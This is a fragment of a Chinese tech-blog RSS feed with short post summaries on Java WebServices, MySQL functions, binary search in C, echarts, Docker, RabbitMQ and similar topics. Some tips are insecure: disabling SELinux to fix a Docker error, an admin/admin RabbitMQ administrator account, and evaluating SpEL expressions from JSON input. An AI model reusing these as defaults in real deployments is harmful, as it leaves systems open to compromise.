      <description>搭建WebService开发环境，改进“图片上传”实验 结果展示Server端ImageDAOImpl.java Client端Add.jspList.jspDetail.jspUploadServlet.java images.sql 写在前面：&#xA;本次实验是在Jsp+servlet+SqlServer实现图片上传、图片详情查看、表格分页实验的基础上进行改进……&#xA;(°ー°〃)菜鸟一枚！如有问题欢迎指出！！&#xA;结果展示 1、新建两个工程，一个是Webservice的Server端，一个是Webservice的Client端。&#xA;2、把原来业务层里的类（方法）通过Webservice发布出来，提供Client调用。&#xA;↓ 画了个简陋的图。。凑合看看&#xA;Server端 ——此处有修改——&#xA;（之前写的太着急，百度了一个如何发布webservice的文章就开始写了，后续也没有验证！如果之前看过这篇博客的朋友们，对不起！这里误导你们了！因为如果你使用的是Endpoint类的发布方法，是不必导入我之前说的那些jar包的。。）&#xA;这里使用的是jdk自带的websevice发布方法&#xA;1.6版本的jdk中JAX-WS规范定义了如何发布一个WebService服务。。&#xA;但貌似jdk10以上就没有javax.xml.ws这个包了。。所以，如果你的jdk版本高于10那就别往下看了！&#xA;再次感谢这位朋友！&#xA;核心代码&#xA;ImageDAOImpl.java package com.bnuz.dao.impl; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.ArrayList; import java.util.List; import javax.jws.WebService; import com.bnuz.dao.ImageDAO; import com.bnuz.javabean.Image; import com.bnuz.util.DBUtil; /* * 这个注解一定要加上！！在ImageDAO中也要加上这个注解 */ @WebService public class ImageDAOImpl implements ImageDAO{ private Connection conn; private PreparedStatement ps; @Override public void add(Image image) { try { conn = DBUtil.</description>
    </item>
    <item>
      <title>IDrawingDoc Interface 学习笔记</title>
      <link>https://bchobby.github.io/posts/5c138dc7440d8b7e2cf8ac15db844c51/</link>
      <pubDate>Fri, 03 Dec 2021 20:53:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c138dc7440d8b7e2cf8ac15db844c51/</guid>
      <description>Solidworks学习笔记-链接Solidworks&#xA;在此基础上&#xA;允许访问执行绘图操作的函数。&#xA;属性 NameDescription备注ActiveDrawingViewGets the currently active drawing view. 获取当前活动的图纸视图。AutomaticViewUpdateGets or sets whether the drawing views in this drawing are automatically updated if the underlying model in that drawing view changes. 获取或设置该工程图中的工程视图是否在该工程视图中的基础模型发生更改时自动更新。BackgroundProcessingOptionGets or sets the background processing option for this drawing. 获取或设置此绘图的后台处理选项。HiddenViewsVisibleShows or hides all of the hidden drawing views. 显示或隐藏所有隐藏的图纸视图。IActiveDrawingViewGets the currently active drawing view. 获取当前活动的图纸视图。SheetGets the specified sheet. 获取指定的工作表。 System.int BackgroundProcessingOption {get; set;}&#xA;This example shows how to fire notifications when background processing events occur.</description>
    </item>
    <item>
      <title>Node和Element的区别（节点和元素）——超详细</title>
      <link>https://bchobby.github.io/posts/27dec40a09d6ec3c22ec2ac9ca90fc6c/</link>
      <pubDate>Thu, 02 Dec 2021 14:57:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27dec40a09d6ec3c22ec2ac9ca90fc6c/</guid>
      <description>如图一个xml文档由元素节点，属性节点，文本节点成&#xA;其中bookstore被称为文档元素或根元素，也是一个元素节点&#xA;整个文档是一个文档节点，即document节点。在Java中document接口是继承于node接口，表示整个xml文档&#xA;每个xml标签是一个元素节点，即element节点。在Java中element接口继承于node接口，表示xml文档中的一个元素&#xA;text节点为文本节点，在Java中text接口继承于characterData接口，而characterData继承于node接口，表示element或者attr的文本内容&#xA;所以其实xml文档中每一个对象都是一个节点，元素一定是节点，而节点不一定是元素。&#xA;node(节点)和element(元素)的区别&#xA;node是相对tree这种数据结构而言的。tree就是由node组成&#xA;element元素是一个小范围的定义，必须是含有完整信息的结点才是一个元素&#xA;。但是一个结点不一定是一个元素，而一个元素一定是一个结点。&#xA;Element是可以有属性和子节点的node&#xA;Element是从Node继承的&#xA;DOM将文档中的所有都看作节点 node&amp;gt;element&#xA;node有几个子类型：&#xA;Element,&#xA;Text,&#xA;Attribute,&#xA;RootElement,&#xA;Comment,&#xA;Namespace等</description>
    </item>
    <item>
      <title>Java 反序列化的自定义表达式解析实现</title>
      <link>https://bchobby.github.io/posts/8e1b2b4936b2a5308b1700d838020652/</link>
      <pubDate>Thu, 02 Dec 2021 13:49:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e1b2b4936b2a5308b1700d838020652/</guid>
      <description>简介：&#xA;通过SPEL 和 fastjson 配合使用，指定JSON中字段解析的表达式，实现指定字段按照指定表达式填充的效果。&#xA;以使用三目运算符指定解析为例，代码如下。&#xA;首先，定义字段的反序列化解析类 SpelExpressDeserializer&#xA;import java.lang.reflect.Type; import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; import org.springframework.expression.spel.support.StandardEvaluationContext; import org.springframework.util.StringUtils; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.DefaultJSONParser; import com.alibaba.fastjson.parser.deserializer.ContextObjectDeserializer; import com.alibaba.fastjson.parser.deserializer.ObjectDeserializer; import lombok.extern.slf4j.Slf4j; /** * SPEL运算反序列 * * @author jun.chen * */ @Slf4j public class SpelExpressDeserializer extends ContextObjectDeserializer implements ObjectDeserializer { private ExpressionParser spel = new SpelExpressionParser(); @Override public int getFastMatchToken() { return 0; } @SuppressWarnings(&#34;unchecked&#34;) @Override public &amp;lt;T&amp;gt; T deserialze(DefaultJSONParser parser, Type type, Object fieldName, String format, int features) { Object parse = parser.</description>
    </item>
    <item>
      <title>C语言丨折半查找（对分搜索）</title>
      <link>https://bchobby.github.io/posts/a2b618f26f3c358bf9eddeeaeca0022b/</link>
      <pubDate>Wed, 01 Dec 2021 20:13:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2b618f26f3c358bf9eddeeaeca0022b/</guid>
      <description>程序员在程序设计时常常需要对存储在数组中的大量数据进行处理，如排序、查找等。使用数据库时，用户可能需要频繁通过输入键字值来查找相应的记录。在数组中搜索一个特定元素的处理过程，称为查找。上次我们已经介绍了一种最基础的查找算法——线性查找（顺序查找）这次我们来介绍一种查找算法：折半查找。&#xA;我们知道，线性查找法不要求被查找的数组元素事先是有序排列的，所以既可能在第一个元素位置，也可能在最后一个元素位置，找到与查找键相等的元素值。&#xA;然而在日常生活的很多场合下需要在有序条件下进行检索操作，例如电话簿中的姓名、字典、图书馆或书架上的书、邮递员包裹里的信件、班级名册、地址簿、计算机中的文件列表等，在有序表中查找信息比较容易，如果信息列表（例如价格表）是有序的，一些特殊数字（如最大和最小值）就会很显眼，因为它们会位于列表的开头或末尾，重复的数字也容易发现，因为它们都是相邻的。&#xA;当待查找信息有序排列时，折半查找法比顺序查找法的平均查找速度要快得多。折半查找也成为对分搜索。二分法求方程的根使用的也是对分搜索的思想，正如二分法要求在求根区间中函数是单调的一样，使用折半查找法的前提是被查找的数据集合是已排好序的。顺序查找法不受这一前提条件的约束，所以对于无序的数据而言，顺序查找是唯一可行的办法。&#xA;折半查找法的基本思想为：首选选取位于数组中间的元素，将其与查找键进行比较。如果它们的值相等，则查找键被找到，返回数组中间元素的下标，否则，将查找的区间缩小为原来区间的一半，即在一半的数组元素中查找。假设数组元素已按升序排列，如果查找键小于数组的中间元素值，则在前一半数组元素中继续查找，否则在后一半数组元素中继续查找。如果在该子数组（原数组的一个片段）中仍未找到查找键，则算法将在原数组的四分之一大小的子数组中继续查找。每次比较之后，都将目标数组中一半的元素排除在比较范围之外。不断重复这样的查找过程，直到查找键等于某个子数组中间元素的值（找到查找键），或者子数组只包含一个不等于查找键的元素（即没有找到查找键为止）。&#xA;听起来很抽象，难以理解？我们先来玩一个猜数游戏：我在1到100之间随便想一个整数，你来猜数，当你猜错的时候，我会提醒你猜的数是过大还是过小。&#xA;首先，我相信你的第一选择是50，这样能够把1~100分成1~49和51~100两个区间，如果我提示过大，你就能在1~49之间再猜一个数，这样猜中的几率就从1%变成了2%，提高了一倍（当然如果一次猜中那就是欧皇了）……接下来反复重复这个步骤，直到猜中为止，最多只需要猜6~7次就能把数猜出来。其实我们在不知不觉中已经运用了折半查找的思想。&#xA;理论上说，折半查找最多所需的比较次数是第一个大于数组元素个数的2的幂次数。以查找一个拥有1024个元素的数组为例，采用折半查找，在最坏的情况下只需10次比较。因为不断地用2来除1024得到的商分别是512、256、128、64、32、16、8、4、2、1，即1024（）用2除10次就可以得到1。用2除一次就相当于折半查找算法中的一次比较。而线性查找发在最坏情况下，即查找键位于所有数据的尾部且数据量较大时，或者已知数据中不存在该值时，查找次数等于总的数据量大小。从平均情况来看，需要一半的数组元素（这里为512）与查找键进行比较。可见，两种查找算法在效率上可谓是天壤之别。&#xA;因此我们在查找数据时，如果能先使用排序算法对数据进行排序，再对数据进行折半查找，就能够大大提高我们的效率。鉴于排序算法在我之前的文章中已有提及，这里不再赘述：C语言丨交换法排序、C语言丨选择法排序、C语言丨冒泡法排序&#xA;假如我们有22 24 26 28 30五个数据，查找值x=28，我们可以先把第一个元素22的下标设置为low，最后一个元素30的下标设置为high，则中间的元素的下标mid=low+(high-low)/2（若使用mid=(high+low)/2计算mid的值，如果使用数组长度很大很大，使得low和high之和超出了limits.h中定义的有符号整数的极限值，那么执行到取数据区间中点的语句“mid=(high+low)/2;”时就会发生数值溢出，导致mid成为负数），那么我们查找的过程可展现如下：&#xA;数组下标01234第一次循环2224262830查找值x=28lowmidhighx&amp;gt;array[mid],low=mid+1第二次循环2224262830low(mid)highx=array[mid]，找到 若查找值x=27，则查找过程如下：&#xA;第一次循环2224262830查找值x=27lowmidhighx&amp;gt;array[mid],low=mid+1第二次循环2224262830low(mid)highx&amp;lt;array[mid],high=mid-1第三次循环2224262830不满足low&amp;lt;=highhighlow循环结束，未找到 按此算法编写折半查找函数BinSearch()如下：&#xA;//按折半查找法查找值为x的数组元素，若找到则返回x在数组中的下标位置，否则返回-1 int BinSearch(int array[], int x, int n) { int low = 0, high = n-1, mid;//区间左端点low置为0，右端点high置为n-1 while (low &amp;lt;= high)//若左端点小于等于右端点，则继续查找 { mid = low + (high - low) / 2;//取数据区间的重点 if (x &amp;gt; array[mid]) low = mid + 1;//若x&amp;gt;array[mid]，则修改区间的左端点 else if (x &amp;lt; array[mid]) high = mid - 1;//若x&amp;lt;array[mid]，则修改区间的右端点 else return mid;//若找到，则返回下标值mid } return -1;//循环结束仍未找到，则返回值-1 } 以上程序是按待查找数据已按升序排列而写的；若待查找顺序已按降序排列，只需将if与else if语句中的大于号和小于号互换即可。</description>
    </item>
    <item>
      <title>关于echarts的y轴x轴刻度不等分,不等距的设置法</title>
      <link>https://bchobby.github.io/posts/ad8d9d60809284786d9def6858638960/</link>
      <pubDate>Wed, 01 Dec 2021 18:54:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad8d9d60809284786d9def6858638960/</guid>
      <description>关于echarts的y轴x轴刻度不等分,不等距的设置法&#xA;前言 初衷是工作需要,同时用于记录一些心得(第一次写博客，写的不好请多见谅，ps:写这个是因为自己百度没找到，所有花了点时间做出来后分享给大家。)&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一、echarts echarts图标是我们比较常用的，功能十分的强大并且便捷，当然，与自由度相对等的就是庞大的属性，这篇文章只是帮您节省一点时间。&#xA;二、关于坐标轴（y,x）不等距不等分的方法 在这里，我本人认为存在多种方法(目前认为三种)，并且是具有可行性的，我会依次为各位说明（个人建议使用第三种）：&#xA;1.使用MARKLINE实现Y轴刻度不等分（个人推荐） MARKLINE是指series下的markLine属性,其本身官方的说明是&#34;图表标线&#34;,在我看来就是自由画线，而且还有文本，就能搞起来！！,示例如下：&#xA;series: [ { data: [0, 5,30, 2, 218, 135, 147, 260], type: &#39;line&#39;, connectNulls: true, markLine: { symbol: [&#39;none&#39;, &#39;none&#39;],//去掉箭头 itemStyle: { normal: { lineStyle: { type: &#39;solid&#39;, color:&#39;black&#39;} } }, label:{ formatter: &#39;{b}&#39; }, data: [{ name: &#39;-20%&#39;, yAxis: 0 }, { name: &#39;-10%&#39;, yAxis: 2 }, { name: &#39;0%&#39;, yAxis: 4 }, { name: &#39;10%&#39;, yAxis: 8 } ] } } ] }; 这里要注意下，位置可以按照轴刻度索引来做，名称可以自定义，但要配套的设置label属性。</description>
    </item>
    <item>
      <title>HTML CSS input输入框样式</title>
      <link>https://bchobby.github.io/posts/7822e329f378a16e2c9a27b0ca67e1ef/</link>
      <pubDate>Wed, 01 Dec 2021 15:56:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7822e329f378a16e2c9a27b0ca67e1ef/</guid>
      <description> /* 修改输入框placeholder的字体颜色*/ input::-webkit-input-placeholder { /* WebKit browsers */ color: rgb(12, 203, 130); } input:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ color: rgb(12, 203, 130); } input::-moz-placeholder { /* Mozilla Firefox 19+ */ color:rgb(12, 203, 130); } input:-ms-input-placeholder { /* Internet Explorer 10+ */ color: rgb(12, 203, 130); } /* 点击输入框不显示边框*/ input{ outline:medium; } /* 修改输入框placeholder的字体颜色end*/ </description>
    </item>
    <item>
      <title>Mac电脑使用自然码双拼</title>
      <link>https://bchobby.github.io/posts/56d443f02ac88542213233be94d5e700/</link>
      <pubDate>Tue, 30 Nov 2021 21:25:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56d443f02ac88542213233be94d5e700/</guid>
      <description> 首先在键盘里选择双拼&#xA;然后打开 终端 执行(启动台-&amp;gt;其他当中)&#xA;defaults write com.apple.inputmethod.CoreChineseEngineFramework shuangpinLayout 5 </description>
    </item>
    <item>
      <title>MySQL之单行函数</title>
      <link>https://bchobby.github.io/posts/4f6888361c26b98fd0d246235e9f094a/</link>
      <pubDate>Tue, 30 Nov 2021 18:05:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f6888361c26b98fd0d246235e9f094a/</guid>
      <description>MySQL之单行函数 1. 函数的理解 1.1 什么是函数 函数在计算机语言的使用中贯穿始终，函数的作用是什么呢？它可以把我们经常使用的代码封装起来，需要的时候直接调用即可。这样既提高了代码效率，又提高了可维护性。在 SQL 中我们也可以使用函数对检索出来的数据进行函数操作。使用这些函数，可以极大地提高用户对数据库的管理效率。&#xA;从函数定义的角度出发，我们可以将函数分成内置函数和自定义函数。在 SQL 语言中，同样也包括了内置函数和自定义函数。内置函数是系统内置的通用函数，而自定义函数是我们根据自己的需要编写的，本章及下一章讲解的是 SQL 的内置函数。&#xA;1.2 不同DBMS函数的差异 我们在使用 SQL 语言的时候，不是直接和这门语言打交道，而是通过它使用不同的数据库软件，即 DBMS。DBMS 之间的差异性很大，远大于同一个语言不同版本之间的差异。实际上，只有很少的函数是被 DBMS 同时支持的。比如，大多数 DBMS 使用（||）或者（+）来做拼接符，而在 MySQL 中的字符串拼接函数为concat()。大部分 DBMS 会有自己特定的函数，这就意味着采用 SQL 函数的代码可移植性是很差的，因此在使用函数的时候需要特别注意。&#xA;1.3 MySQL的内置函数及分类 MySQL提供了丰富的内置函数，这些函数使得数据的维护与管理更加方便，能够更好地提供数据的分析与统计功能，在一定程度上提高了开发人员进行数据分析与统计的效率。&#xA;MySQL提供的内置函数从实现的功能角度可以分为数值函数、字符串函数、日期和时间函数、流程控制函数、加密与解密函数、获取MySQL信息函数、聚合函数等。这里，我将这些丰富的内置函数再分为两类：单行函数、聚合函数（或分组函数）。&#xA;两种SQL函数&#xA;单行函数&#xA;操作数据对象接受参数返回一个结果只对一行进行变换每行返回一个结果可以嵌套参数可以是一列或一个值 2. 数值函数 2.1 基本函数 函数用法ABS(x)返回x的绝对值SIGN(X)返回X的符号。正数返回1，负数返回-1，0返回0PI()返回圆周率的值CEIL(x)，CEILING(x)返回大于或等于某个值的最小整数FLOOR(x)返回小于或等于某个值的最大整数LEAST(e1,e2,e3…)返回列表中的最小值GREATEST(e1,e2,e3…)返回列表中的最大值MOD(x,y)返回X除以Y后的余数RAND()返回0~1的随机值RAND(x)返回0~1的随机值，其中x的值用作种子值，相同的X值会产生相同的随机数ROUND(x)返回一个对x的值进行四舍五入后，最接近于X的整数ROUND(x,y)返回一个对x的值进行四舍五入后最接近X的值，并保留到小数点后面Y位TRUNCATE(x,y)返回数字x截断为y位小数的结果SQRT(x)返回x的平方根。当X的值为负数时，返回NULL 举例：&#xA;SELECT ABS(-123),ABS(32),SIGN(-23),SIGN(43),PI(),CEIL(32.32),CEILING(-43.23),FLOOR(32.32), FLOOR(-43.23),MOD(12,5) FROM DUAL; SELECT RAND(),RAND(),RAND(10),RAND(10),RAND(-1),RAND(-1) FROM DUAL; SELECT ROUND(12.33),ROUND(12.343,2),ROUND(12.324,-1),TRUNCATE(12.66,1),TRUNCATE(12.66,-1) FROM DUAL; 2.2 角度与弧度互换函数 函数用法RADIANS(x)将角度转化为弧度，其中，参数x为角度值DEGREES(x)将弧度转化为角度，其中，参数x为弧度值 SELECT RADIANS(30),RADIANS(60),RADIANS(90),DEGREES(2*PI()),DEGREES(RADIANS(90)) FROM DUAL; 2.3 三角函数 函数用法SIN(x)返回x的正弦值，其中，参数x为弧度值ASIN(x)返回x的反正弦值，即获取正弦为x的值。如果x的值不在-1到1之间，则返回NULLCOS(x)返回x的余弦值，其中，参数x为弧度值ACOS(x)返回x的反余弦值，即获取余弦为x的值。如果x的值不在-1到1之间，则返回NULLTAN(x)返回x的正切值，其中，参数x为弧度值ATAN(x)返回x的反正切值，即返回正切值为x的值ATAN2(m,n)返回两个参数的反正切值COT(x)返回x的余切值，其中，X为弧度值 举例：&#xA;ATAN2(M,N)函数返回两个参数的反正切值。&#xA;与ATAN(X)函数相比，ATAN2(M,N)需要两个参数，例如有两个点point(x1,y1)和point(x2,y2)，使用ATAN(X)函数计算反正切值为ATAN((y2-y1)/(x2-x1))，使用ATAN2(M,N)计算反正切值则为ATAN2(y2-y1,x2-x1)。由使用方式可以看出，当x2-x1等于0时，ATAN(X)函数会报错，而ATAN2(M,N)函数则仍然可以计算。</description>
    </item>
    <item>
      <title>Docker 启动容器权限报错</title>
      <link>https://bchobby.github.io/posts/a822e0e6912b45bb4ef590a8fe62f98d/</link>
      <pubDate>Tue, 30 Nov 2021 17:50:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a822e0e6912b45bb4ef590a8fe62f98d/</guid>
      <description>Docker 安装完成，启动容器时报错，启动失败：&#xA;**&#xA;docker: Error response from daemon: OCI runtime create failed:&#xA;container_linux.go:345: starting container process caused&#xA;“process_linux.go:430: container init caused “write&#xA;/proc/self/attr/keycreate: permission denied””: unknown.&#xA;**&#xA;原因：&#xA;“write /proc/self/attr/keycreate: permission denied” 表示文件没有写入权限，被拒绝访问了&#xA;解决方法：&#xA;将/etc/selinux下的config文件中的SELINUX属性改为disabled&#xA;步骤&#xA;vi /etc/selinux/config 可以看到里面的属性为：enforcing 强制性的&#xA;将 SELINUX 属性改为 disabled&#xA;重新启动 docker，并启动容器即可</description>
    </item>
    <item>
      <title>java.sql.SQLNonTransientConnectionException: Public Key Retrieval is not allowed</title>
      <link>https://bchobby.github.io/posts/cc487e844d68f392c33dada5b0c07bb5/</link>
      <pubDate>Tue, 30 Nov 2021 16:23:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc487e844d68f392c33dada5b0c07bb5/</guid>
      <description> 在mysql 8中碰到这个问题。&#xA;我先创建用户，创建数据库，以及分配用户数据库的权限&#xA;create user &#39;test&#39;@&#39;192.168.96.1&#39; identified by &#39;test&#39;; grant all privileges on test.* to test@192.168.96.1; 结果：&#xA;我已经在数据库连接的url里指定了：&#xA;AllowPublicKeyRetrieval=True 但是还是出现这个错误。&#xA;参考：&#xA;https://stackoverflow.com/a/53300421&#xA;这个回答，是把mysql 8的默认密码方式改成：mysql_native_password&#xA;alter user test@192.168.96.1 identified with mysql_native_password by &#39;test&#39;; </description>
    </item>
    <item>
      <title>Vue3 引入Element Plus</title>
      <link>https://bchobby.github.io/posts/756d57aaf80f2f5cdc21216ea5d52d49/</link>
      <pubDate>Tue, 30 Nov 2021 15:38:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/756d57aaf80f2f5cdc21216ea5d52d49/</guid>
      <description>Element Plus 是为适配 Vue3 而对 Element UI 进行重构后产生的前端组件库，包含丰富的基础组件&#xA;下面先贴出 官方文档，里面的介绍已经十分全面和详细，大家遇到的很多问题都可以在上面找到答案&#xA;假设现在我们已经用 vue-cli 4 工具创建了一个 Vue3 项目，然后怎么在项目中引入 Element Plus 呢？&#xA;注意，这里必须是用 vue-cli 4 创建的 Vue3 项目，否则后面会报错，首先介绍一下默认生成的目录结构&#xA;+ demo + node_modules（存放第三方模块） + public（存放静态文件） - favicon.ico（图标） - index.html （页面模板） + src（我们自己写的文件一般放在这个文件夹下） + assets（存放资源文件） + components（存放公共组件） + router.js（路由管理：Router） + store.js （状态管理：Vuex） + views（存放视图组件） - App.vue（页面入口文件） - main.js（程序入口文件） - package.json（项目配置文件） - package-lock.json（项目配置文件） - babel.config.js（babel 配置文件） - README.md（项目说明文档） - ...（其它配置文件） 1、安装 Element Plus&#xA;npm 是 Node 的包管理工具，我们可以通过 npm 安装 Element Plus</description>
    </item>
    <item>
      <title>断言失败了怎么清理已创建的测试数据</title>
      <link>https://bchobby.github.io/posts/f087d9a7a59dbaa6eb9f73357b4ca908/</link>
      <pubDate>Tue, 30 Nov 2021 14:32:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f087d9a7a59dbaa6eb9f73357b4ca908/</guid>
      <description>场景一：校验创建用户接口返回体中的字段默认值是否符合预期&#xA;（按照用例流程需要清理测试数据，但中间assert断言失败会导致用例停止，不会执行清理操作）&#xA;用例组织是这样的：&#xA;def test_case(self)&#xA;#调用adduser接口创建用户&#xA;#assert校验response的返回体字段默认值是否符合预期&#xA;#调用deleteuser接口删除创建的用户&#xA;如果assert校验失败，就会终止用例，deleteuser这一步不执行，导致测试数据未被清理。有什么办法解决这个问题？&#xA;方法一：使用try catch finally解决&#xA;将assert写在try中 将后面的清理操作写在finally里&#xA;方法二：使用pytest.assume 断言，assume断言失败后，不停止后面的执行&#xA;这种轮询校验response返回参数值是否符合预期的校验，推荐使用用pytest.assume，如果第一个参数断言失败，还会校验后面的参数，如果用assert，遇到失败就不校验后面的参数了&#xA;参考代码&#xA;expres = {&#39;email&#39;: &#34;&#34;, &#39;areacode&#39;: &#34;&#34;, &#39;enabled&#39;: True, &#39;phone&#39;: &#34;&#34;, &#39;description&#39;: &#34;&#34;, &#39;is_domain&#39;: False, &#39;password_expires&#39;: None, } for key in expres: resValue = jsonpath.jsonpath(jsonRes, &#34;$.user.&#34; + key)[0] pytest.assume(resValue == expres[key], &#34;返回值与期望不一致，exp[&#34; +key+&#34;]=&#34;+ str(expres[key]) + &#34;实际=&#34; + str(resValue)) 场景二：参数异常创建用户，期望是创建失败返回400，如果代码有bug，参数异常创建201，需要对创建的测试数据进行清理&#xA;用例代码如下：&#xA;def test_case1(self):&#xA;#使用异常参数调用adduser接口&#xA;#断言返回400，结束&#xA;但是如果代码有bug，参数异常创建201，需要对创建的测试数据进行清理&#xA;方法：用例中如果判断返回201就抛出一个异常，在异常exception里将userid加入垃圾桶去回收,exception不会导致后面的异常参数不执行&#xA;参考代码如下：&#xA;@pytest.mark.parametrize(&#34;invalidparm&#34;, [{&#34;domain_id&#34;: [getRandomString(len=32)]},{&#34;password&#34;:[&#34;1232&#34;]] ​​​​​​​def test_case1(self,invalidparm): for replaceParm in invalidparm: #invalidparm={&#39;domain_id&#39;: [&#39;oxCHUZgLoGg9lbGCERPcA9aazMSt2AEs&#39;]}#replaceParm =domain_id for replacevalue in invalidparm[replaceParm]: try: jsonbody = self.</description>
    </item>
    <item>
      <title>jason-2影像下载</title>
      <link>https://bchobby.github.io/posts/cc70d78a10bb655d97a42e65f99d417f/</link>
      <pubDate>Tue, 30 Nov 2021 14:14:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc70d78a10bb655d97a42e65f99d417f/</guid>
      <description>jason-2网址：https://www.aviso.altimetry.fr/en/home.html&#xA;数据下载页面网址：https://www.aviso.altimetry.fr/en/data/products/sea-surface-height-products/global/waveforms-1.html&#xA;打开数据下载页面，来到如下界面：&#xA;打开第一个链接，跳转到数据下载界面：&#xA;（会跳出这个界面，需要先注册账号，用账号登录？） 数据下载界面，有多种的数据，常用的是geophysical-data-record（GDR）数据。&#xA;继续往下选择，有多种卫星及其获取的数据可以选择：&#xA;一个cycle里大概是10天，数据有缺失，数据是按卫星飞过的轨道来排列的，要查询对应区域的轨道数要先在官网下载对应的kml文件，用google earth打开：&#xA;找到自己需要的地区，观察有哪些pass经过，并对地面轨迹线条（红色）单击鼠标右键，查看名称，如：“Ground Track 153”则代表该轨迹的pass号为153。&#xA;下载文件后，通过限制维度来获得指定区域数据（因为jason-2是条状的，限制维度即可）。代码操作参考这篇文章：【卫星测高】用matlab读取指定经纬度区域的卫星测高数据并计算高程_以jason2为例_Find your love-CSDN博客</description>
    </item>
    <item>
      <title>mathtype 插入章节编号后无法自动消失</title>
      <link>https://bchobby.github.io/posts/fd86b7694b619f615a6a77751490826a/</link>
      <pubDate>Tue, 30 Nov 2021 10:36:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd86b7694b619f615a6a77751490826a/</guid>
      <description>问题描述 正常情况下利用mathtype插入公式时，当点击插入分隔符后，会自动消失。特殊情况下，插入后不会消失的问题。&#xA;解决方式 点击开始-&amp;gt;选项-&amp;gt;显示，将隐藏文字去掉勾线，显示所有格式标记去掉格式。&#xA;创建一种新的格式，在文字选项将文字类型设为隐藏。然后将显示的mathtype章节号换成此种格式，就可以不显示了。</description>
    </item>
    <item>
      <title>解决“Cannot set headers after they are sent to the client”</title>
      <link>https://bchobby.github.io/posts/d16e210a74fc3bb862cb479ee627ef36/</link>
      <pubDate>Tue, 30 Nov 2021 09:58:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d16e210a74fc3bb862cb479ee627ef36/</guid>
      <description>背景&#xA;使用 node 做了一个服务器去操作数据库并且暴露 API 接口给前端页面请求数据使用，在做登录页面时候，登录功能和修改用户的密码功能都已经实现并且单独调试的时候无误，但是在两者结合，即登录前修改了用户密码然后再进行登录验证，服务器会报错如下：&#xA;翻译为中文： 将请求头发送到客户端后无法设置请求头&#xA;报错原因： 客户端发送一次请求的时候，服务器端给出了多次响应&#xA;经过摸索与实践，解决方法如下：&#xA;服务器在每次响应后添加return，避免多余响应。&#xA;在下图中，在用户登录成功后服务器会返回响应，在响应后直接用 return 。&#xA;修改密码这里也一样，返回响应后直接 return。</description>
    </item>
    <item>
      <title>外呼中心从“隐私面单”到“小号平台”</title>
      <link>https://bchobby.github.io/posts/06bdb219605671fd0e0fcebc6b4adc25/</link>
      <pubDate>Tue, 30 Nov 2021 09:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06bdb219605671fd0e0fcebc6b4adc25/</guid>
      <description>只要商家敢想，每天都是盛大购物节。我们最大的乐趣就是一咬牙一跺脚下单，然后慢慢在家等着收快递，然后……退单。在这个愉快的购物过程中，我们的所有信息都暴露的干干净净，联系人、联系号码、家庭地址都有，往坏了想，真的是不敢想象。号码隐私问题不单单只是快递面单，最常见到的当时是电话通讯这个渠道了，天天讯通小号模块(小号平台)的运用，确实解决了人们的一大痛点，甚至可以说是切肤之痛。&#xA;那么简单说说什么是天天讯通的小号平台。AXBAXB是一个虚拟号码绑定双方的真实号码、绑定完成后，双方可以拨打中间号码进行电话沟通，其中一个虚拟号码最大量可以绑定100对号码并同时通话。这种模式主要应用在出行打车、C2C、B2B平台。AXAX模式，一个虚拟号码绑定一个真实号码。其他电话通过这个虚拟号码联系到对应的联系人。主要运用在房产中介、教育平台、医疗咨询等平台经纪型企业。个人隐私保护一小步，社会文明一大步。天天讯通会更加专注“小号平台”的研发和应用，助力企业号码隐私保护更上一层楼！</description>
    </item>
    <item>
      <title>RabbitMQWeb 管理界面及授权操作</title>
      <link>https://bchobby.github.io/posts/0a65e9ce9be75f2dfd7a8457f9b75c94/</link>
      <pubDate>Mon, 29 Nov 2021 20:23:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a65e9ce9be75f2dfd7a8457f9b75c94/</guid>
      <description>前言 我们在 linux 安装好了 RabbitMQ 但是为了我方便我们开发我们一般会安装一个 RabbitMQWeb 管理界面，那么如何去配置这个管理界面呢？&#xA;首先 我们先要在 linux 端安装配置好图形化管理的配置，在终端输入以下命令：&#xA;# rabbitmq-plugins enable rabbitmq_management 等待安装完成！如图：&#xA;安装完成之后你要重新启动一下 RabbitMQ 即可 ，&#xA;# systemctl restart rabbitmq-server 注意： 如果说你在这边的时候突然碰到以下的错误的时候，记得先检查一下你的Erlang 和RabbitMQ 的版本是不是对应的！！！！ 不对应的话那么就赶紧改过来，在重新启动就可以了！&#xA;错误如下图：&#xA;其次 我们就到我们浏览器中访问一下这个管理界面 你的主机ip: 15672 回车即可范问，这里会让我们输入账号和密码，那么这里又要注意了，如果说你是在本机安装的RabbitMQ的话那么你就 可以使用guest作为账号和密码登录界面，那如果你是跟我一下部署在 linux 上的话那么你还需要在你的 linux 终端上注册一个账号和密码，并且给他赋予权限即可！&#xA;1、在 linux 端创建一个账号&#xA;# rabbitmqctl add_user admin admin 2、设置用户分配操作权限&#xA;# rabbitmqctl set_user_tags admin administrator 用户级别： 1、administrator 可以登录控制台，查看所有信息、对rabbitmq进行管理，在开发的时候我们尽量把账户设成这个权限 2、monitoring 监控者 登录控制台，查看所有信息 3、policymaker 策略制定者 登录控制台，制定策略 4、management 普通管理员 登录控制台 3、为用户添加资源权限&#xA;# rabbitmqctl set_permissions -p / admin &#34;</description>
    </item>
    <item>
      <title>微服务问题总结</title>
